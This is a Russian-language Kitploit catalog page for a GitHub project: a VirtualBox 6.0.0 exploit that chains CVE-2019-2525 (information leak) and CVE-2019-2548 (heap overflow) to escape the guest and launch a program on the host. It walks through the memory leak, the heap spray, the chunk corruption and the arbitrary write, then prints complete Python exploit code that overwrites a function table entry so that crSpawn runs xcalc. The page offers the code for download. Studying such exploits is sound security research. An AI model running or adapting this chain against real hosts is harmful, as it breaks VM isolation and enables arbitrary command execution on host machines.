Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
VirtualBox-6.0.0-Exploit-1-day — CVE-2019-2525 / CVE-2019-2548 | Kitploit
Инструменты/GitHubGitHub/wotmd/virtualbox-6.0.0-exploit-1-day
Memory ForensicsVulnerability AnalysisExploitationInformation GatheringPenetration TestingBinary Exploitation
GitHubwotmd/virtualbox-6.0.0-exploit-1-day

VirtualBox-6.0.0-Exploit-1-day

CVE-2019-2525 / CVE-2019-2548

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
1215 лет назадЕщё не проверено

VirtualBox 6.0.0 Exploit 1-day

Используемые ошибки VBox

  • CVE-2019-2525 : crUnpackExtendGetAttribLocation — утечка информации
  • CVE-2019-2548 : crServerDispatchReadPixels — целочисленное переполнение, приводящее к переполнению кучи
  • эти ошибки можно задействовать при включённом 3D-ускорении.

Прежде чем объяснить, прилагаю видео с выполнением эксплойта ниже.

https://youtu.be/IQRLtqMgVCY?t=46

1. Утечка памяти (CVE-2019-2525)

  1. Многократным выполнением hgcm_connect и hgcm_disconnect можно разместить в памяти значения, связанные с cr_server, а через отрицательное смещение в crUnpackExtendGetAttribLocation выполнить утечку памяти, получив адреса cr_server+19056 и crVBoxHGCMDoDisconnect.
  2. Используя утёкшие значения памяти, получить адреса cr_server и crSpawn.

2. Heap Spray

  1. Выполнить Heap Spray структуры CRVBOXSVBUFFER_t в памяти. При этом используется alloc_buf; поскольку память выделяется последовательно, pData структуры буфера также будет выделено рядом с самой структурой.
  2. Поэтому с помощью alloc_buf(client, 0x20) создаётся pData того же размера, что и CRVBOXSVBUFFER_t.

  1. Освободить буферы с чётными ID.

  1. Поочерёдно выделять alloc_buf(client, 0x50, msg) и alloc_buf(client, 0x20, msg), чтобы заполнить освобождённые блоки. Блоки размером 0x50 не попадут в освобождённые блоки и будут выделены в другой области памяти.

  1. Освободить буферы с чётными ID и длиной 0x50.

3. Повреждение блока (CVE-2019-2548)

  1. Используя integer overflow в crServerDispatchReadPixels, выделить структуру размером 0x20.
    • bytes_per_row = 0x1FFFFFFD / height = 8 ⇒ 0x100000020
  2. Эта структура вставляется в освобождённую область посередине распылённой кучи; благодаря размеру 0x38 происходит переполнение кучи на 0x18, что позволяет изменить uiID и uiSize следующей структуры.
    • uiID = 0xdeadbeef / uiSize = 0xffffffff

  1. Используя структуру с изменённым uiID, можно модифицировать следующий блок. Поскольку uiSize равен 0xffffffff, можно изменить следующий блок вплоть до pData на желаемое значение.
    • uiID = 0xcafebabe / uiSize = 0xffffffff / pData = желаемое значение

  1. Теперь, установив pData через структуру с uiID = 0xdeadbeef и используя структуру с uiID = 0xcafebabe, можно выполнить запись за пределами буфера (OOB Write).

4. Эксплойт

  1. С помощью OOB Write записать "xcalc" по адресу cr_server + 0xc410.
  2. С помощью OOB Write перезаписать crServerDispatchBoundsInfoCR (cr_server+0xae98) в таблице функций на функцию crSpawn.
  3. Вызвать crServerDispatchBoundsInfoCR, что приведёт к вызову crSpawn. При этом передать аргументы command="xcalc", argv=[адрес "xcalc", NULL], что позволит выйти из VirtualBox и запустить калькулятор.

Результат

Демо-видео

https://youtu.be/IQRLtqMgVCY?t=46

Код эксплойта

root@kitploit:~
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *

def nop_msg():
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + "\x00\x00\x00" +chr(CR_NOP_OPCODE)
        + pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
        )
    return msg

def make_leak_msg(offset):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
        + pack("<I", offset) #packet_length
        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
        + pack("<I", 0x41424344)
        )
    return msg

def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
        + pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
        + pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
        )
    return msg

def make_crSpawn_msg(cmd, argv):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
        + pack("<I", 1)
        + cmd.ljust(16, "\x00")
        + pack("<I", 0)
        + pack("<QQ", argv, 0) # argv : execute string, null
        )
    return msg

def leak_address(client):
    leak_success = False;
    while not leak_success:
    	for i in range(0, 10):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x170):
                leak_success = True
                break
    cr_server = leak - 0x4a70
    
    leak_success = False;
    while not leak_success:
        for i in range(0, 100):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x230):
                leak_success = True
                break
    crSpawn = leak - 0xbd20
    return (cr_server, crSpawn)
    
def heapSpray(client):
    buf_ids = []
    spray_ids = []
    msg = nop_msg()
    # make CRVBOXSVCBUFFER_t & pData heapSpray area
    for i in range(120):
		buf_ids.append(alloc_buf(client, 0x20, msg))
    buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
    
    # even buf_ids free
    for idx in buf_ids[::2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
    
    # fill CRVBOXSVCBUFFER_t free areas
    for i in range(40):
        spray_ids.append(alloc_buf(client, 0x50, msg))
        alloc_buf(client, 0x20, msg)
    
    # make a hole between spray area
    for idx in spray_ids[::-2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])

def make_corrupt_obj(pData):
    obj = (
        "A"*0x28
        + pack("<Q", 0x35)
        + pack("<I", 0xcafebabe) #uiId
        + pack("<I", 0xffffffff) #uiSize
        + pack("<Q", pData) # table_addr
        )
    return obj

def write_anywhere(addr, data):
    #make corrupt obj
    fake_buffer = make_corrupt_obj(addr)
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])

if __name__=='__main__':
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client) #must use
    
    # Trigger to CVE-2019-2525
    cr_server, crSpawn = leak_address(client)
    crServerDispatchBoundsInfoCR = cr_server+0xae98
    
    print("[*] crServer : " + hex(cr_server))
    print("[*] crSpawn  : " + hex(crSpawn))
    #print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
    
    # heapSpray
    heapSpray(client)
    
    # Trigger to CVE-2019-2548
    msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
    crmsg(client, msg)
    #a = input("test1 : ")
   
    # setting "xcalc"
    xcalc_string = cr_server + 0xc410 
    write_anywhere(xcalc_string, "xcalc")
    print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))

    # overwrite talbe func crSpawn
    print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
    write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))

    # escape!! execute xcalc
    msg = make_crSpawn_msg("xcalc", xcalc_string)
    crmsg(client, msg)

    hgcm_disconnect(client) 

Скачать инструмент